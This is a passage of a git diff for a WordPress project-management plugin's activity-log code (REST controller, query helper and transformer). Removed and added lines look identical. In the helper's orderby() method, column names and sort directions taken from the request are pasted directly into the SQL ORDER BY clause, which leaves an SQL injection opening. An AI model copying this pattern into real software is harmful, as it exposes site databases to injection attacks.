- - $response = $this->get_response( $resource ); - $response = apply_filters('pm_get_task', $response , $request); - return $response ; - } -} - - - - - +get_param( 'per_page' ); + $page = $request->get_param( 'page' ); + $project_id = $request->get_param( 'project_id' ); + + $per_page = $per_page ? $per_page : 20; + $page = $page ? intval($page) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + if ( empty( $project_id ) ) { + $activities = Activity::orderBy( 'created_at', 'DESC' ) + ->paginate( $per_page ); + } else { + $activities = Activity::where( pm_tb_prefix() .'pm_activities.project_id', $project_id ) + ->orderBy( pm_tb_prefix() .'pm_activities.created_at', 'desc' ) + ->paginate( $per_page ); + + } + + $activity_collection = $activities->getCollection(); + $resource = new Collection( $activity_collection, new Activity_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); + + $response = $this->get_response( $resource ); + $response = apply_filters('pm_get_task', $response , $request); + return $response ; + } +} + + + + + diff --git a/src/Activity/Helper/Activity.php b/src/Activity/Helper/Activity.php index 336b402e2..335d7bb9a 100644 --- a/src/Activity/Helper/Activity.php +++ b/src/Activity/Helper/Activity.php @@ -1,618 +1,618 @@ -'asc', 'id'=>desc] OR created_at|ASC,id|DESC -// activity_meta: 'total_task_activities,total_tasks,total_complete_tasks,total_incomplete_tasks,total_activities,total_activities,total_comments,total_files,total_activities' -// }, - -class Activity { - private static $_instance; - private $query_params; - private $select; - private $join; - private $where; - private $limit; - private $orderby; - private $with = ['actor', 'project']; - private $activities; - private $activity_ids; - private $is_single_query = false; - - public static function getInstance() { - return new self(); - } - - function __construct() { - $this->set_table_name(); - } - - public static function get_activities( WP_REST_Request $request ) { - $activities = self::get_results( $request->get_params() ); - - wp_send_json( $activities ); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_activities( $self->activities ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format Taskactivity data - * - * @param array $activities - * - * @return array - */ - public function format_activities( $activities ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - foreach ( $activities as $key => $activity ) { - $activities[$key] = $this->fromat_activity( $activity ); - } - - $response['data'] = $activities; - $response['meta'] = $this->set_activities_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_activities_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'total_pages' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_activity( $activity ) { - - $meta = $this->parse_meta( $activity ); - - $items = [ - 'id' => (int) $activity->id, - 'message' => pm_get_text( "activities.{$activity->action}" ), - 'action' => $activity->action, - 'action_type' => $activity->action_type, - 'project_id' => $activity->project_id, - 'meta' => empty( $meta ) ? [] : $meta, - 'committed_at' => format_date( $activity->created_at ), - 'resource_id' => $activity->resource_id, - 'resource_type' => $activity->resource_type, - ]; - - $items = $this->item_with( $items, $activity ); - - return apply_filters( 'pm_activity_transform', $items, $activity ); - } - - private function item_with( $items, $activity ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $activity_with_items = array_intersect_key( (array) $activity, array_flip( $with ) ); - - $items = array_merge( $items, $activity_with_items ); - - return $items; - } - - private function parse_meta( $activity ) { - $parsed_meta = []; - - switch ( $activity->resource_type ) { - case 'task': - $parsed_meta = $this->parse_meta_for_task( $activity ); - break; - - case 'task_list': - $parsed_meta = $this->parse_meta_for_task_list( $activity ); - break; - - case 'discussion_board': - $parsed_meta = $this->parse_meta_for_discussion_board( $activity ); - break; - - case 'milestone': - $parsed_meta = $this->parse_meta_for_milestone( $activity ); - break; - - case 'project': - $parsed_meta = $this->parse_meta_for_project( $activity ); - break; - - case 'comment': - $parsed_meta = $this->parse_meta_for_comment( $activity ); - break; - - case 'file': - $parsed_meta = $this->parse_meta_for_file( $activity ); - break; - } - - return $parsed_meta; - } - - private function parse_meta_for_task( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_task_list( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_discussion_board( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_milestone( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_project( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_file( $activity ) { - return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - } - - private function parse_meta_for_comment( $activity ) { - $meta = []; - - if ( ! is_array( $activity ) ) { - return $meta; - } - - $activity->meta = is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; - - foreach ($activity->meta as $key => $value) { - if ( $key == 'commentable_type' && $value == 'file' ) { - $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); - $meta['commentable_id'] = $activity->meta['commentable_id']; - $meta['commentable_type'] = $activity->meta['commentable_type']; - $meta['trans_commentable_type'] = $trans_commentable_type; - $meta['commentable_title'] = $trans_commentable_type; - } elseif ( $key == 'commentable_type' ) { - $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); - $meta['commentable_id'] = $activity->meta['commentable_id']; - $meta['commentable_type'] = $activity->meta['commentable_type']; - $meta['trans_commentable_type'] = $trans_commentable_type; - $meta['commentable_title'] = $activity->meta['commentable_title']; - } - } - - return $meta; - } - - - private function with() { - - $this->actor() - ->project(); - - $this->activities = apply_filters( 'pm_activity_with',$this->activities, $this->activity_ids, $this->query_params ); - - return $this; - } - - private function project() { - if ( empty( $this->activities ) ) { - return $this; - } - - $project_ids = wp_list_pluck( $this->activities, 'project_id' ); - $project_ids = array_unique( $project_ids ); - - $projects = pm_get_projects( [ 'id' => $project_ids ] ); - $projects = $projects['data']; - - $items = []; - - foreach ( $projects as $key => $project ) { - $items[$project['id']] = $project; - } - - foreach ( $this->activities as $key => $activity ) { - $project = empty( $items[$activity->project_id] ) ? [] : $items[$activity->project_id]; - - $activity->project = [ 'data' => $project ]; - } - - return $this; - } - - private function actor() { - if ( empty( $this->activities ) ) { - return $this; - } - - $actor_ids = wp_list_pluck( $this->activities, 'actor_id' ); - $actor_ids = array_unique( $actor_ids ); - - $actors = pm_get_users( [ 'id' => $actor_ids ] ); - $actors = $actors['data']; - - $items = []; - - foreach ( $actors as $key => $actor ) { - $items[$actor['id']] = $actor; - } - - foreach ( $this->activities as $key => $activity ) { - $actor = empty( $items[$activity->actor_id] ) ? [] : $items[$activity->actor_id]; - - $activity->actor = [ 'data' => $actor ]; - } - - return $this; - } - - private function updater() { - - if ( empty( $this->activities ) ) { - return $this; - } - - $updater_ids = wp_list_pluck( $this->activities, 'updated_by' ); - $updater_ids = array_unique( $updater_ids ); - - $updaters = pm_get_users( [ 'id' => $updater_ids ] ); - $updaters = $updaters['data']; - - $items = []; - - foreach ( $updaters as $key => $updater ) { - $items[$updater['id']] = $updater; - } - - foreach ( $this->activities as $key => $activity ) { - $c_updater = empty( $items[$activity->updated_by] ) ? [] : $items[$activity->updated_by]; - - $activity->updater = [ 'data' => $c_updater ]; - } - - return $this; - } - - private function meta() { - return $this; - } - - private function join() { - return $this; - } - - private function where() { - - $this->where_id() - ->where_actor_id() - ->where_project_id() - ->where_resource_id() - ->where_resource_type() - ->where_updated_at(); - - return $this; - } - - private function where_updated_at() { - global $wpdb; - - $updated_at = !empty( $this->query_params['updated_at'] ) ? $this->query_params['updated_at'] : false; - $updated_at_start = !empty( $this->query_params['updated_at_start'] ) ? $this->query_params['updated_at_start'] : false; - $updated_at_between = !isset( $this->query_params['updated_at_between'] ) ? true : pm_is_true( $this->query_params['updated_at_between'] ); - $operator_key = !empty( $this->query_params['updated_at_operator'] ) ? $this->query_params['updated_at_operator'] : 'equal'; - - - if ( $updated_at === false ) { - return $this; - } - - if ( $updated_at_start ) { - $com_start_reduce = date('Y-m-d',(strtotime ( '-1 day' , strtotime ( $updated_at_start) ) )); - $com_add = date('Y-m-d',(strtotime ( '+1 day' , strtotime ( $updated_at) ) )); - } - - //If its contain between condition - if ( $updated_at_start ) { - - if ( $updated_at_between ) { - $query = $wpdb->prepare( " {$this->tb_activity}.updated_at BETWEEN %s AND %s ", $com_start_reduce, $com_add ); - } else { - $query = $wpdb->prepare( " {$this->tb_activity}.updated_at NOT BETWEEN %s AND %s ", $com_start_reduce, $com_add ); - } - - $this->where .= " AND ( $query ) "; - - return $this; - } - //close between condition - - - $operator = $this->get_operator( $operator_key ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.updated_at $operator %s", $updated_at ); - - - return $this; - } - - private function get_operator( $param ) { - - $default = [ - 'equal' => '=', - 'less_than' => '<', - 'less_than_equal' => '<=', - 'greater_than' => '>', - 'greater_than_equal' => '>=', - 'null' => 'is null', - 'empty' => "= ''", - ]; - - return empty( $default[$param] ) ? '' : $default[$param]; - } - - /** - * Filter activity by ID - * - * @return class object - */ - private function where_resource_type() { - global $wpdb; - $resource_type = isset( $this->query_params['resource_type'] ) ? $this->query_params['resource_type'] : false; - - if ( empty( $resource_type ) ) { - return $this; - } - - $resource_type = pm_get_prepare_data( $resource_type ); - - if ( is_array( $resource_type ) ) { - $query_format = pm_get_prepare_format( $resource_type, true ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_type IN ($query_format)", $resource_type ); - } - - if ( !is_array( $resource_type ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_type IN (%s)", $resource_type ); - } - - return $this; - } - - /** - * Filter activity by ID - * - * @return class object - */ - private function where_id() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - $id = pm_get_prepare_data( $id ); - - if ( is_array( $id ) ) { - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.id IN ($query_format)", $id ); - } - - if ( !is_array( $id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.id IN (%d)", $id ); - } - - return $this; - } - - private function where_actor_id() { - global $wpdb; - $actor_id = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; - - if ( empty( $actor_id ) ) { - return $this; - } - - $actor_id = pm_get_prepare_data( $actor_id ); - - if ( is_array( $actor_id ) ) { - $query_format = pm_get_prepare_format( $actor_id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.actor_id IN ($query_format)", $actor_id ); - } - - if ( !is_array( $actor_id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.actor_id IN (%d)", $actor_id ); - } - - return $this; - } - - /** - * Filter task by title - * - * @return class object - */ - private function where_resource_id() { - global $wpdb; - $resource_id = isset( $this->query_params['resource_id'] ) ? $this->query_params['resource_id'] : false; - - if ( empty( $resource_id ) ) { - return $this; - } - - $resource_id = pm_get_prepare_data( $resource_id ); - - if ( is_array( $resource_id ) ) { - $query_format = pm_get_prepare_format( $resource_id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_id IN ($query_format)", $resource_id ); - } - - if ( !is_array( $resource_id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_id IN (%d)", $resource_id ); - } - - return $this; - } - - private function where_project_id() { - global $wpdb; - $project_id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; - - if ( empty( $project_id ) ) { - return $this; - } - - $project_id = pm_get_prepare_data( $project_id ); - - if ( is_array( $project_id ) ) { - $query_format = pm_get_prepare_format( $project_id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.project_id IN ($query_format)", $project_id ); - } - - if ( !is_array( $project_id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.project_id IN (%d)", $project_id ); - } - - return $this; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false ) { - return $this; - } - - if ( is_string( $odr_prms ) ) { - $orders = []; - $odr_prms = str_replace( ' ', '', trim( $odr_prms ) ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $param ) { - $pair = explode( '|', $param ); - $tb_col = $pair[0]; - $value = $pair[1]; - $orders[$tb_col] = $value; - } - } else if ( is_array( $odr_prms ) ) { - $orders = $odr_prms; - } else { - $ordes = []; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $this->tb_activity .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 20; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_activity}.* - FROM {$this->tb_activity} - {$this->join} - WHERE %d=%d {$this->where} - {$this->orderby} {$this->limit} "; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->activities = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->activity_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->activity_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_project = pm_tb_prefix() . 'pm_projects'; - $this->tb_activity = pm_tb_prefix() . 'pm_activities'; - } -} +'asc', 'id'=>desc] OR created_at|ASC,id|DESC +// activity_meta: 'total_task_activities,total_tasks,total_complete_tasks,total_incomplete_tasks,total_activities,total_activities,total_comments,total_files,total_activities' +// }, + +class Activity { + private static $_instance; + private $query_params; + private $select; + private $join; + private $where; + private $limit; + private $orderby; + private $with = ['actor', 'project']; + private $activities; + private $activity_ids; + private $is_single_query = false; + + public static function getInstance() { + return new self(); + } + + function __construct() { + $this->set_table_name(); + } + + public static function get_activities( WP_REST_Request $request ) { + $activities = self::get_results( $request->get_params() ); + + wp_send_json( $activities ); + } + + public static function get_results( $params = [] ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_activities( $self->activities ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format Taskactivity data + * + * @param array $activities + * + * @return array + */ + public function format_activities( $activities ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + foreach ( $activities as $key => $activity ) { + $activities[$key] = $this->fromat_activity( $activity ); + } + + $response['data'] = $activities; + $response['meta'] = $this->set_activities_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_activities_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'total_pages' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_activity( $activity ) { + + $meta = $this->parse_meta( $activity ); + + $items = [ + 'id' => (int) $activity->id, + 'message' => pm_get_text( "activities.{$activity->action}" ), + 'action' => $activity->action, + 'action_type' => $activity->action_type, + 'project_id' => $activity->project_id, + 'meta' => empty( $meta ) ? [] : $meta, + 'committed_at' => format_date( $activity->created_at ), + 'resource_id' => $activity->resource_id, + 'resource_type' => $activity->resource_type, + ]; + + $items = $this->item_with( $items, $activity ); + + return apply_filters( 'pm_activity_transform', $items, $activity ); + } + + private function item_with( $items, $activity ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $activity_with_items = array_intersect_key( (array) $activity, array_flip( $with ) ); + + $items = array_merge( $items, $activity_with_items ); + + return $items; + } + + private function parse_meta( $activity ) { + $parsed_meta = []; + + switch ( $activity->resource_type ) { + case 'task': + $parsed_meta = $this->parse_meta_for_task( $activity ); + break; + + case 'task_list': + $parsed_meta = $this->parse_meta_for_task_list( $activity ); + break; + + case 'discussion_board': + $parsed_meta = $this->parse_meta_for_discussion_board( $activity ); + break; + + case 'milestone': + $parsed_meta = $this->parse_meta_for_milestone( $activity ); + break; + + case 'project': + $parsed_meta = $this->parse_meta_for_project( $activity ); + break; + + case 'comment': + $parsed_meta = $this->parse_meta_for_comment( $activity ); + break; + + case 'file': + $parsed_meta = $this->parse_meta_for_file( $activity ); + break; + } + + return $parsed_meta; + } + + private function parse_meta_for_task( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_task_list( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_discussion_board( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_milestone( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_project( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_file( $activity ) { + return is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + } + + private function parse_meta_for_comment( $activity ) { + $meta = []; + + if ( ! is_array( $activity ) ) { + return $meta; + } + + $activity->meta = is_serialized( $activity->meta ) ? maybe_unserialize( $activity->meta ) : $activity->meta; + + foreach ($activity->meta as $key => $value) { + if ( $key == 'commentable_type' && $value == 'file' ) { + $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); + $meta['commentable_id'] = $activity->meta['commentable_id']; + $meta['commentable_type'] = $activity->meta['commentable_type']; + $meta['trans_commentable_type'] = $trans_commentable_type; + $meta['commentable_title'] = $trans_commentable_type; + } elseif ( $key == 'commentable_type' ) { + $trans_commentable_type = pm_get_text( "resource_types.{$value}" ); + $meta['commentable_id'] = $activity->meta['commentable_id']; + $meta['commentable_type'] = $activity->meta['commentable_type']; + $meta['trans_commentable_type'] = $trans_commentable_type; + $meta['commentable_title'] = $activity->meta['commentable_title']; + } + } + + return $meta; + } + + + private function with() { + + $this->actor() + ->project(); + + $this->activities = apply_filters( 'pm_activity_with',$this->activities, $this->activity_ids, $this->query_params ); + + return $this; + } + + private function project() { + if ( empty( $this->activities ) ) { + return $this; + } + + $project_ids = wp_list_pluck( $this->activities, 'project_id' ); + $project_ids = array_unique( $project_ids ); + + $projects = pm_get_projects( [ 'id' => $project_ids ] ); + $projects = $projects['data']; + + $items = []; + + foreach ( $projects as $key => $project ) { + $items[$project['id']] = $project; + } + + foreach ( $this->activities as $key => $activity ) { + $project = empty( $items[$activity->project_id] ) ? [] : $items[$activity->project_id]; + + $activity->project = [ 'data' => $project ]; + } + + return $this; + } + + private function actor() { + if ( empty( $this->activities ) ) { + return $this; + } + + $actor_ids = wp_list_pluck( $this->activities, 'actor_id' ); + $actor_ids = array_unique( $actor_ids ); + + $actors = pm_get_users( [ 'id' => $actor_ids ] ); + $actors = $actors['data']; + + $items = []; + + foreach ( $actors as $key => $actor ) { + $items[$actor['id']] = $actor; + } + + foreach ( $this->activities as $key => $activity ) { + $actor = empty( $items[$activity->actor_id] ) ? [] : $items[$activity->actor_id]; + + $activity->actor = [ 'data' => $actor ]; + } + + return $this; + } + + private function updater() { + + if ( empty( $this->activities ) ) { + return $this; + } + + $updater_ids = wp_list_pluck( $this->activities, 'updated_by' ); + $updater_ids = array_unique( $updater_ids ); + + $updaters = pm_get_users( [ 'id' => $updater_ids ] ); + $updaters = $updaters['data']; + + $items = []; + + foreach ( $updaters as $key => $updater ) { + $items[$updater['id']] = $updater; + } + + foreach ( $this->activities as $key => $activity ) { + $c_updater = empty( $items[$activity->updated_by] ) ? [] : $items[$activity->updated_by]; + + $activity->updater = [ 'data' => $c_updater ]; + } + + return $this; + } + + private function meta() { + return $this; + } + + private function join() { + return $this; + } + + private function where() { + + $this->where_id() + ->where_actor_id() + ->where_project_id() + ->where_resource_id() + ->where_resource_type() + ->where_updated_at(); + + return $this; + } + + private function where_updated_at() { + global $wpdb; + + $updated_at = !empty( $this->query_params['updated_at'] ) ? $this->query_params['updated_at'] : false; + $updated_at_start = !empty( $this->query_params['updated_at_start'] ) ? $this->query_params['updated_at_start'] : false; + $updated_at_between = !isset( $this->query_params['updated_at_between'] ) ? true : pm_is_true( $this->query_params['updated_at_between'] ); + $operator_key = !empty( $this->query_params['updated_at_operator'] ) ? $this->query_params['updated_at_operator'] : 'equal'; + + + if ( $updated_at === false ) { + return $this; + } + + if ( $updated_at_start ) { + $com_start_reduce = date('Y-m-d',(strtotime ( '-1 day' , strtotime ( $updated_at_start) ) )); + $com_add = date('Y-m-d',(strtotime ( '+1 day' , strtotime ( $updated_at) ) )); + } + + //If its contain between condition + if ( $updated_at_start ) { + + if ( $updated_at_between ) { + $query = $wpdb->prepare( " {$this->tb_activity}.updated_at BETWEEN %s AND %s ", $com_start_reduce, $com_add ); + } else { + $query = $wpdb->prepare( " {$this->tb_activity}.updated_at NOT BETWEEN %s AND %s ", $com_start_reduce, $com_add ); + } + + $this->where .= " AND ( $query ) "; + + return $this; + } + //close between condition + + + $operator = $this->get_operator( $operator_key ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.updated_at $operator %s", $updated_at ); + + + return $this; + } + + private function get_operator( $param ) { + + $default = [ + 'equal' => '=', + 'less_than' => '<', + 'less_than_equal' => '<=', + 'greater_than' => '>', + 'greater_than_equal' => '>=', + 'null' => 'is null', + 'empty' => "= ''", + ]; + + return empty( $default[$param] ) ? '' : $default[$param]; + } + + /** + * Filter activity by ID + * + * @return class object + */ + private function where_resource_type() { + global $wpdb; + $resource_type = isset( $this->query_params['resource_type'] ) ? $this->query_params['resource_type'] : false; + + if ( empty( $resource_type ) ) { + return $this; + } + + $resource_type = pm_get_prepare_data( $resource_type ); + + if ( is_array( $resource_type ) ) { + $query_format = pm_get_prepare_format( $resource_type, true ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_type IN ($query_format)", $resource_type ); + } + + if ( !is_array( $resource_type ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_type IN (%s)", $resource_type ); + } + + return $this; + } + + /** + * Filter activity by ID + * + * @return class object + */ + private function where_id() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + $id = pm_get_prepare_data( $id ); + + if ( is_array( $id ) ) { + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.id IN ($query_format)", $id ); + } + + if ( !is_array( $id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.id IN (%d)", $id ); + } + + return $this; + } + + private function where_actor_id() { + global $wpdb; + $actor_id = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; + + if ( empty( $actor_id ) ) { + return $this; + } + + $actor_id = pm_get_prepare_data( $actor_id ); + + if ( is_array( $actor_id ) ) { + $query_format = pm_get_prepare_format( $actor_id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.actor_id IN ($query_format)", $actor_id ); + } + + if ( !is_array( $actor_id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.actor_id IN (%d)", $actor_id ); + } + + return $this; + } + + /** + * Filter task by title + * + * @return class object + */ + private function where_resource_id() { + global $wpdb; + $resource_id = isset( $this->query_params['resource_id'] ) ? $this->query_params['resource_id'] : false; + + if ( empty( $resource_id ) ) { + return $this; + } + + $resource_id = pm_get_prepare_data( $resource_id ); + + if ( is_array( $resource_id ) ) { + $query_format = pm_get_prepare_format( $resource_id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_id IN ($query_format)", $resource_id ); + } + + if ( !is_array( $resource_id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.resource_id IN (%d)", $resource_id ); + } + + return $this; + } + + private function where_project_id() { + global $wpdb; + $project_id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; + + if ( empty( $project_id ) ) { + return $this; + } + + $project_id = pm_get_prepare_data( $project_id ); + + if ( is_array( $project_id ) ) { + $query_format = pm_get_prepare_format( $project_id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.project_id IN ($query_format)", $project_id ); + } + + if ( !is_array( $project_id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_activity}.project_id IN (%d)", $project_id ); + } + + return $this; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false ) { + return $this; + } + + if ( is_string( $odr_prms ) ) { + $orders = []; + $odr_prms = str_replace( ' ', '', trim( $odr_prms ) ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $param ) { + $pair = explode( '|', $param ); + $tb_col = $pair[0]; + $value = $pair[1]; + $orders[$tb_col] = $value; + } + } else if ( is_array( $odr_prms ) ) { + $orders = $odr_prms; + } else { + $ordes = []; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $this->tb_activity .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 20; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_activity}.* + FROM {$this->tb_activity} + {$this->join} + WHERE %d=%d {$this->where} + {$this->orderby} {$this->limit} "; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->activities = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->activity_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->activity_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_project = pm_tb_prefix() . 'pm_projects'; + $this->tb_activity = pm_tb_prefix() . 'pm_activities'; + } +} diff --git a/src/Activity/Transformers/Activity_Transformer.php b/src/Activity/Transformers/Activity_Transformer.php index 7b2e3921a..656f85c4c 100644 --- a/src/Activity/Transformers/Activity_Transformer.php +++ b/src/Activity/Transformers/Activity_Transformer.php @@ -1,133 +1,133 @@ -action == 'cpm_migration' ){ - $message = $item->meta['text']; - }else { - $message = pm_get_text( "activities.{$item->action}" ); - } - - return [ - 'id' => (int) $item->id, - 'message' => $message, - 'action' => $item->action, - 'action_type' => $item->action_type, - 'meta' => $this->parse_meta( $item ), - 'committed_at' => format_date( $item->created_at ), - 'resource_id' => $item->resource_id, - 'resource_type' => $item->resource_type, - ]; - } - - public function includeActor( Activity $item ) { - $actor = $item->actor; - - return $this->item( $actor, new User_Transformer ); - } - - public function includeProject( Activity $item ) { - $project = $item->project; - $project_transformer = new Project_Transformer; - $project_transformer = $project_transformer->setDefaultIncludes([]); - return $this->item ( $project, $project_transformer); - } - - private function parse_meta( Activity $activity ) { - $parsed_meta = []; - - switch ( $activity->resource_type ) { - case 'task': - $parsed_meta = $this->parse_meta_for_task( $activity ); - break; - - case 'task_list': - $parsed_meta = $this->parse_meta_for_task_list( $activity ); - break; - - case 'discussion_board': - $parsed_meta = $this->parse_meta_for_discussion_board( $activity ); - break; - - case 'milestone': - $parsed_meta = $this->parse_meta_for_milestone( $activity ); - break; - - case 'project': - $parsed_meta = $this->parse_meta_for_project( $activity ); - break; - - case 'comment': - $parsed_meta = $this->parse_meta_for_comment( $activity ); - break; - - case 'file': - $parsed_meta = $this->parse_meta_for_file( $activity ); - break; - } - - return $parsed_meta; - } - - private function parse_meta_for_task( Activity $activity ) { - return $activity->meta; - } - - private function parse_meta_for_task_list( Activity $activity ) { - return $activity->meta; - } - - private function parse_meta_for_discussion_board( Activity $activity ) { - return $activity->meta; - } - - 